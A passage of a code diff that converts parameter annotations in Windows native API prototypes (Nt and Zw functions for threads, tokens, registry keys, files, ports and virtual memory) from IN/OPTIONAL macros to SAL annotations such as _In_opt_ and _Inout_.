IN NTSTATUS ExitStatus ); @@ -16809,7 +16809,7 @@ NTAPI NtCreateThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, @@ -16838,14 +16838,14 @@ NtOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, - IN OPTIONAL PCLIENT_ID ClientId + _In_opt_ PCLIENT_ID ClientId ); NTSTATUS NTAPI NtTerminateThread ( - IN OPTIONAL HANDLE ThreadHandle, + _In_opt_ HANDLE ThreadHandle, IN NTSTATUS ExitStatus ); @@ -16884,7 +16884,7 @@ NTSTATUS NTAPI NtGetContextThread ( IN HANDLE ThreadHandle, - IN OUT PCONTEXT ThreadContext + _Inout_ PCONTEXT ThreadContext ); @@ -16980,9 +16980,9 @@ NTAPI NtQueueApcThread ( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcArgument1, - IN OPTIONAL PVOID ApcArgument2, - IN OPTIONAL PVOID ApcArgument3 + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 ); @@ -16991,7 +16991,7 @@ NTAPI NtCreateJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); @@ -17024,7 +17024,7 @@ NTSTATUS NTAPI NtIsProcessInJob ( IN HANDLE ProcessHandle, - IN OPTIONAL HANDLE JobHandle + _In_opt_ HANDLE JobHandle ); @@ -17040,7 +17040,7 @@ NtCreateJobSet ( NTSTATUS NTAPI NtQueryInformationJobObject ( - IN OPTIONAL HANDLE JobHandle, + _In_opt_ HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, OUT PVOID JobObjectInformation, IN ULONG JobObjectInformationLength, @@ -17065,7 +17065,7 @@ NtCreateKey( IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, - IN OPTIONAL PUNICODE_STRING Class, + _In_opt_ PUNICODE_STRING Class, IN ULONG CreateOptions, OUT OPTIONAL PULONG Disposition ); @@ -17128,9 +17128,9 @@ NTSTATUS NTAPI NtNotifyChangeKey( IN HANDLE KeyHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, @@ -17144,11 +17144,11 @@ NTSTATUS NTAPI NtNotifyChangeMultipleKeys( IN HANDLE MasterKeyHandle, - IN OPTIONAL ULONG Count, - IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ ULONG Count, + _In_opt_ OBJECT_ATTRIBUTES SlaveObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, @@ -17181,7 +17181,7 @@ NtLoadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, - IN OPTIONAL HANDLE TrustClassKey + _In_opt_ HANDLE TrustClassKey ); @@ -17221,10 +17221,10 @@ NTSTATUS NTAPI NtQueryMultipleValueKey( IN HANDLE KeyHandle, - IN OUT PKEY_VALUE_ENTRY ValueEntries, + _Inout_ PKEY_VALUE_ENTRY ValueEntries, IN ULONG EntryCount, OUT PVOID ValueBuffer, - IN OUT PULONG BufferLength, + _Inout_ PULONG BufferLength, OUT OPTIONAL PULONG RequiredBufferLength ); @@ -17301,9 +17301,9 @@ NTAPI NtSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, - IN OPTIONAL ULONG TitleIndex, + _In_opt_ ULONG TitleIndex, IN ULONG Type, - IN OPTIONAL PVOID Data, + _In_opt_ PVOID Data, IN ULONG DataSize ); @@ -17327,7 +17327,7 @@ NTSTATUS NTAPI NtUnloadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, - IN OPTIONAL HANDLE Event + _In_opt_ HANDLE Event ); @@ -17369,7 +17369,7 @@ NtLockRegistryKey( NTSTATUS NTAPI NtLockProductActivationKeys( - IN OUT OPTIONAL ULONG *pPrivateVer, + _Inout_opt_ ULONG *pPrivateVer, OUT OPTIONAL ULONG *pSafeMode ); @@ -17382,7 +17382,7 @@ NtAccessCheck ( IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, - IN OUT PULONG PrivilegeSetLength, + _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); @@ -17392,14 +17392,14 @@ NTSTATUS NTAPI NtAccessCheckByType ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, - IN OPTIONAL PSID PrincipalSelfSid, + _In_opt_ PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, - IN OUT PULONG PrivilegeSetLength, + _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); @@ -17409,14 +17409,14 @@ NTSTATUS NTAPI NtAccessCheckByTypeResultList ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, - IN OPTIONAL PSID PrincipalSelfSid, + _In_opt_ PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, - IN OUT PULONG PrivilegeSetLength, + _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); @@ -17427,16 +17427,16 @@ NTAPI NtCreateToken( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, - IN OPTIONAL PTOKEN_OWNER Owner, + _In_opt_ PTOKEN_OWNER Owner, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, - IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, IN PTOKEN_SOURCE TokenSource ); @@ -17507,9 +17507,9 @@ NTAPI NtFilterToken ( IN HANDLE ExistingTokenHandle, IN ULONG Flags, - IN OPTIONAL PTOKEN_GROUPS SidsToDisable, - IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, - IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, OUT PHANDLE NewTokenHandle ); @@ -17547,8 +17547,8 @@ NTAPI NtAdjustPrivilegesToken ( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, - IN OPTIONAL PTOKEN_PRIVILEGES NewState, - IN OPTIONAL ULONG BufferLength, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_opt_ ULONG BufferLength, OUT PTOKEN_PRIVILEGES PreviousState, OUT OPTIONAL PULONG ReturnLength ); @@ -17560,7 +17560,7 @@ NtAdjustGroupsToken ( IN HANDLE TokenHandle, IN BOOLEAN ResetToDefault, IN PTOKEN_GROUPS NewState , - IN OPTIONAL ULONG BufferLength , + _In_opt_ ULONG BufferLength , OUT PTOKEN_GROUPS PreviousState , OUT PULONG ReturnLength ); @@ -17570,7 +17570,7 @@ NTSTATUS NTAPI NtPrivilegeCheck ( IN HANDLE ClientToken, - IN OUT PPRIVILEGE_SET RequiredPrivileges, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, OUT PBOOLEAN Result ); @@ -17579,7 +17579,7 @@ NTSTATUS NTAPI NtAccessCheckAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, @@ -17596,11 +17596,11 @@ NTSTATUS NTAPI NtAccessCheckByTypeAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, - IN OPTIONAL PSID PrincipalSelfSid, + _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, @@ -17618,11 +17618,11 @@ NTSTATUS NTAPI NtAccessCheckByTypeResultListAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, - IN OPTIONAL PSID PrincipalSelfSid, + _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, @@ -17640,12 +17640,12 @@ NTSTATUS NTAPI NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN HANDLE ClientToken, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, - IN OPTIONAL PSID PrincipalSelfSid, + _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, @@ -17663,14 +17663,14 @@ NTSTATUS NTAPI NtOpenObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, - IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN ACCESS_MASK GrantedAccess, - IN OPTIONAL PPRIVILEGE_SET Privileges, + _In_opt_ PPRIVILEGE_SET Privileges, IN BOOLEAN ObjectCreation, IN BOOLEAN AccessGranted, OUT PBOOLEAN GenerateOnClose @@ -17681,7 +17681,7 @@ NTSTATUS NTAPI NtPrivilegeObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PPRIVILEGE_SET Privileges, @@ -17693,7 +17693,7 @@ NTSTATUS NTAPI NtCloseObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN BOOLEAN GenerateOnClose ); @@ -17702,7 +17702,7 @@ NTSTATUS NTAPI NtDeleteObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, - IN OPTIONAL PVOID HandleId, + _In_opt_ PVOID HandleId, IN BOOLEAN GenerateOnClose ); @@ -17773,7 +17773,7 @@ ZwQuerySystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, OUT OPTIONAL PVOID Value, - IN OUT PULONG ValueLength, + _Inout_ PULONG ValueLength, OUT OPTIONAL PULONG Attributes ); @@ -17784,7 +17784,7 @@ NTAPI ZwSetSystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, - IN OPTIONAL PVOID Value, + _In_opt_ PVOID Value, IN ULONG ValueLength, IN ULONG Attributes ); @@ -17796,7 +17796,7 @@ NTAPI ZwEnumerateSystemEnvironmentValuesEx ( IN ULONG InformationClass, OUT PVOID Buffer, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); @@ -17830,7 +17830,7 @@ NTSTATUS NTAPI ZwEnumerateBootEntries ( OUT OPTIONAL PVOID Buffer, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); @@ -17839,7 +17839,7 @@ NTSTATUS NTAPI ZwQueryBootEntryOrder ( OUT OPTIONAL PULONG Ids, - IN OUT PULONG Count + _Inout_ PULONG Count ); @@ -17857,7 +17857,7 @@ NTSTATUS NTAPI ZwQueryBootOptions ( OUT OPTIONAL PBOOT_OPTIONS BootOptions, - IN OUT PULONG BootOptionsLength + _Inout_ PULONG BootOptionsLength ); @@ -17877,7 +17877,7 @@ ZwTranslateFilePath ( IN PFILE_PATH InputFilePath, IN ULONG OutputType, OUT OPTIONAL PFILE_PATH OutputFilePath, - IN OUT OPTIONAL PULONG OutputFilePathLength + _Inout_opt_ PULONG OutputFilePathLength ); @@ -17911,7 +17911,7 @@ NTSTATUS NTAPI ZwEnumerateDriverEntries ( OUT PVOID Buffer, - IN OUT PULONG BufferLength + _Inout_ PULONG BufferLength ); @@ -17920,7 +17920,7 @@ NTSTATUS NTAPI ZwQueryDriverEntryOrder ( OUT PULONG Ids, - IN OUT PULONG Count + _Inout_ PULONG Count ); @@ -17947,7 +17947,7 @@ NTAPI ZwCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); @@ -18016,7 +18016,7 @@ NTAPI ZwCreateEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); @@ -18084,7 +18084,7 @@ NTAPI ZwCreateMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN InitialOwner ); @@ -18126,7 +18126,7 @@ NTAPI ZwCreateSemaphore ( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN LONG InitialCount, IN LONG MaximumCount ); @@ -18170,7 +18170,7 @@ NTAPI ZwCreateTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType ); @@ -18212,10 +18212,10 @@ NTAPI ZwSetTimer ( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, - IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, - IN OPTIONAL PVOID TimerContext, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, IN BOOLEAN ResumeTimer, - IN OPTIONAL LONG Period, + _In_opt_ LONG Period, OUT OPTIONAL PBOOLEAN PreviousState ); @@ -18232,7 +18232,7 @@ ZwQuerySystemTime ( NTSTATUS NTAPI ZwSetSystemTime ( - IN OPTIONAL PLARGE_INTEGER SystemTime, + _In_opt_ PLARGE_INTEGER SystemTime, OUT OPTIONAL PLARGE_INTEGER PreviousTime ); @@ -18349,7 +18349,7 @@ NTAPI ZwCreateKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, - IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); @@ -18371,7 +18371,7 @@ ZwReleaseKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -18382,7 +18382,7 @@ ZwWaitForKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, - IN OPTIONAL PLARGE_INTEGER Timeout + _In_opt_ PLARGE_INTEGER Timeout ); @@ -18402,7 +18402,7 @@ NTSTATUS NTAPI ZwSetSystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, - IN OPTIONAL PVOID SystemInformation, + _In_opt_ PVOID SystemInformation, IN ULONG SystemInformationLength ); @@ -18412,7 +18412,7 @@ NTSTATUS NTAPI ZwSystemDebugControl ( IN SYSDBG_COMMAND Command, - IN OPTIONAL PVOID InputBuffer, + _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength, @@ -18427,7 +18427,7 @@ ZwRaiseHardError ( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN ULONG UnicodeStringParameterMask, - IN OPTIONAL PULONG_PTR Parameters, + _In_opt_ PULONG_PTR Parameters, IN ULONG ValidResponseOptions, OUT PULONG Response ); @@ -18503,7 +18503,7 @@ ZwDisplayString ( NTSTATUS NTAPI ZwAddAtom ( - IN OPTIONAL PWSTR AtomName, + _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); @@ -18513,7 +18513,7 @@ ZwAddAtom ( NTSTATUS NTAPI ZwFindAtom ( - IN OPTIONAL PWSTR AtomName, + _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); @@ -18565,7 +18565,7 @@ ZwCreateNamedPipeFile ( IN ULONG MaximumInstances, IN ULONG InboundQuota, IN ULONG OutboundQuota, - IN OPTIONAL PLARGE_INTEGER DefaultTimeout + _In_opt_ PLARGE_INTEGER DefaultTimeout ); @@ -18606,9 +18606,9 @@ NTSTATUS NTAPI ZwNotifyChangeDirectoryFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, @@ -18646,7 +18646,7 @@ ZwQueryEaFile ( IN BOOLEAN ReturnSingleEntry, IN PVOID EaList, IN ULONG EaListLength, - IN OPTIONAL PULONG EaIndex OPTIONAL, + _In_opt_ PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); @@ -18658,12 +18658,12 @@ ZwCreateFile ( IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, - IN OPTIONAL PLARGE_INTEGER AllocationSize, + _In_opt_ PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, - IN OPTIONAL PVOID EaBuffer, + _In_opt_ PVOID EaBuffer, IN ULONG EaLength ); @@ -18673,12 +18673,12 @@ NTSTATUS NTAPI ZwDeviceIoControlFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, - IN OPTIONAL PVOID InputBuffer, + _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength @@ -18690,12 +18690,12 @@ NTSTATUS NTAPI ZwFsControlFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, - IN OPTIONAL PVOID InputBuffer, + _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength @@ -18707,9 +18707,9 @@ NTSTATUS NTAPI ZwLockFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, @@ -18737,15 +18737,15 @@ NTSTATUS NTAPI ZwQueryDirectoryFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, - IN OPTIONAL PUNICODE_STRING FileName, + _In_opt_ PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); @@ -18771,9 +18771,9 @@ ZwQueryQuotaInformationFile ( OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, - IN OPTIONAL PVOID SidList, + _In_opt_ PVOID SidList, IN ULONG SidListLength, - IN OPTIONAL PSID StartSid, + _In_opt_ PSID StartSid, IN BOOLEAN RestartScan ); @@ -18795,14 +18795,14 @@ NTSTATUS NTAPI ZwReadFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, - IN OPTIONAL PLARGE_INTEGER ByteOffset, - IN OPTIONAL PULONG Key + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key ); @@ -18846,14 +18846,14 @@ NTSTATUS NTAPI ZwWriteFile ( IN HANDLE FileHandle, - IN OPTIONAL HANDLE Event, - IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, - IN OPTIONAL PVOID ApcContext, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, - IN OPTIONAL PLARGE_INTEGER ByteOffset, - IN OPTIONAL PULONG Key + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key ); @@ -19053,11 +19053,11 @@ ZwConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, - IN OUT OPTIONAL PPORT_VIEW ClientView, - IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, - IN OUT OPTIONAL PVOID ConnectionInformation, - IN OUT OPTIONAL PULONG ConnectionInformationLength + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength ); @@ -19068,12 +19068,12 @@ ZwSecureConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, - IN OUT OPTIONAL PPORT_VIEW ClientView, + _Inout_opt_ PPORT_VIEW ClientView, IN OPTIONAL PSID RequiredServerSid, - IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, - IN OUT OPTIONAL PVOID ConnectionInformation, - IN OUT OPTIONAL PULONG ConnectionInformationLength + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength ); @@ -19094,7 +19094,7 @@ ZwAcceptConnectPort( IN OPTIONAL PVOID PortContext, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, - IN OUT OPTIONAL PPORT_VIEW ServerView, + _Inout_opt_ PPORT_VIEW ServerView, OUT OPTIONAL PREMOTE_PORT_VIEW ClientView ); @@ -19140,7 +19140,7 @@ NTSTATUS NTAPI ZwReplyWaitReplyPort( IN HANDLE PortHandle, - IN OUT PPORT_MESSAGE ReplyMessage + _Inout_ PPORT_MESSAGE ReplyMessage ); @@ -19244,11 +19244,11 @@ NTAPI ZwMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, + _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T CommitSize, - IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, - IN OUT PSIZE_T ViewSize, + _Inout_ OPTIONAL PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect @@ -19269,7 +19269,7 @@ NTSTATUS NTAPI ZwExtendSection ( IN HANDLE SectionHandle, - IN OUT PLARGE_INTEGER NewSectionSize + _Inout_ PLARGE_INTEGER NewSectionSize ); @@ -19287,9 +19287,9 @@ NTSTATUS NTAPI ZwAllocateVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, + _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, - IN OUT PSIZE_T RegionSize, + _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); @@ -19300,8 +19300,8 @@ NTSTATUS NTAPI ZwFreeVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ); @@ -19335,8 +19335,8 @@ NTSTATUS NTAPI ZwFlushVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); @@ -19346,8 +19346,8 @@ NTSTATUS NTAPI ZwLockVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); @@ -19357,8 +19357,8 @@ NTSTATUS NTAPI ZwUnlockVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); @@ -19368,8 +19368,8 @@ NTSTATUS NTAPI ZwProtectVirtualMemory ( IN HANDLE ProcessHandle, - IN OUT PVOID *BaseAddress, - IN OUT PSIZE_T RegionSize, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); @@ -19425,7 +19425,7 @@ NTSTATUS NTAPI ZwAllocateUserPhysicalPages ( IN HANDLE ProcessHandle, - IN OUT PULONG_PTR NumberOfPages, + _Inout_ PULONG_PTR NumberOfPages, OUT PULONG_PTR UserPfnArray ); @@ -19435,7 +19435,7 @@ NTSTATUS NTAPI ZwFreeUserPhysicalPages ( IN HANDLE ProcessHandle, - IN OUT PULONG_PTR NumberOfPages, + _Inout_ PULONG_PTR NumberOfPages, IN PULONG_PTR UserPfnArray ); @@ -19449,7 +19449,7 @@ ZwGetWriteWatch ( IN PVOID BaseAddress, IN SIZE_T RegionSize, OUT PVOID *UserAddressArray, - IN OUT PULONG_PTR EntriesInUserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, OUT 